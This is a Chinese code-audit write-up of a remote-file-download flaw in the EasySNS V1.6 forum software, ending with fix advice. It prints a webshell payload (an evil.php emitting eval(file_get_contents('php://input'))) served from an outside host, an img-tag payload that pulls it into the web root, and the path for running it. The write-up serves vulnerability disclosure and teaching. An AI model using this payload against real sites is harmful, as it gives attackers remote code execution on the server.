1. 程式人生 > >【程式碼審計】EasySNS_V1.6 前臺任意檔案下載漏洞分析

【程式碼審計】EasySNS_V1.6 前臺任意檔案下載漏洞分析

 

0x00 環境準備

EasySNS官網:http://www.imzaker.com/

網站原始碼版本:EasySNS極簡社群V1.60

程式原始碼下載:http://es.imzaker.com/index.php/Topic/gview/id/92.html

預設後臺地址:http://127.0.0.1/admin.php/Login/login.html

預設賬號密碼:admin/admin

測試網站首頁:

 

0x01 程式碼分析

1、        漏洞檔案位置:  /app/common.func.php

 

在公共呼叫函式裡面,我們注意到getImageToLocal函式,通過正則從img標籤裡面獲取連結,然後判斷是否是本站地址,呼叫了getImage函式實現下載遠端圖片儲存到本地,我們跟進同文件下的getImage函式進行檢視,

 

       在getImage函式中,並未對下載的檔名進行判斷,獲取檔案字尾拼接到檔名,下載到網站目錄中,那麼這個函式是很危險的,很可能導致程式在實現上存在任意檔案下載漏洞,下載遠端檔案到網站目錄下。

2、        全域性搜尋getImageToLocal函式,找到呼叫函式的地方

 

漏洞檔案:/app/index/controller/Topic.php,在topicadd函式中,webconfig('bd_image')==1即當程式開啟遠端圖片本地化的時候,呼叫了getImageToLocal函式,我們可以根據條件構造Payload來進行漏洞利用,攻擊者可指定第三方url下載惡意指令碼到網站目錄,進一步觸發惡意程式碼,控制網站伺服器。

0x02 漏洞利用

一、利用條件

1、登入網站後臺—系統管理—配置管理—開啟遠端圖片本地化(預設安裝情況下處於關閉狀態)

 

2、在第三方網站放置一個evil.php作為程式碼源,如http://192.168.8.131/evil.php

evil.php檔案內容:

  1. <?php  
  2. echo "<?php ";  
  3. echo "eval(file_get_contents('php://input'));";  
  4. echo "?>";  
  5. ?>  

二、漏洞利用

1、註冊一個test1使用者,選擇釋出帖子,在html程式碼編輯狀態下插入img標籤

<img src="http://192.168.8.131/evil.php" />

 

2、點擊發布後,檢視我的帖子,獲取上傳後的檔名。

 

3、檔案路徑格式為:/uploads/picture/cache/'.$uid.'/+$filename

檢視個人主頁獲取uid值,

 

 

4、需要把uid加上拼接為完整路徑,最終獲得檔案路徑,成功觸發惡意程式碼,獲取網站伺服器許可權。

http://127.0.0.1/uploads/picture/cache/2/2_VHZHOopR1520094924.php

 

0x03 修復建議

1、白名單限制遠端圖片本地化下載的檔名字尾,只允許下載jpg、png等格式;

2、禁止圖片目錄指令碼執行許可權。

 

最後

歡迎關注個人微信公眾號:Bypass--,每週原創一篇技術乾貨。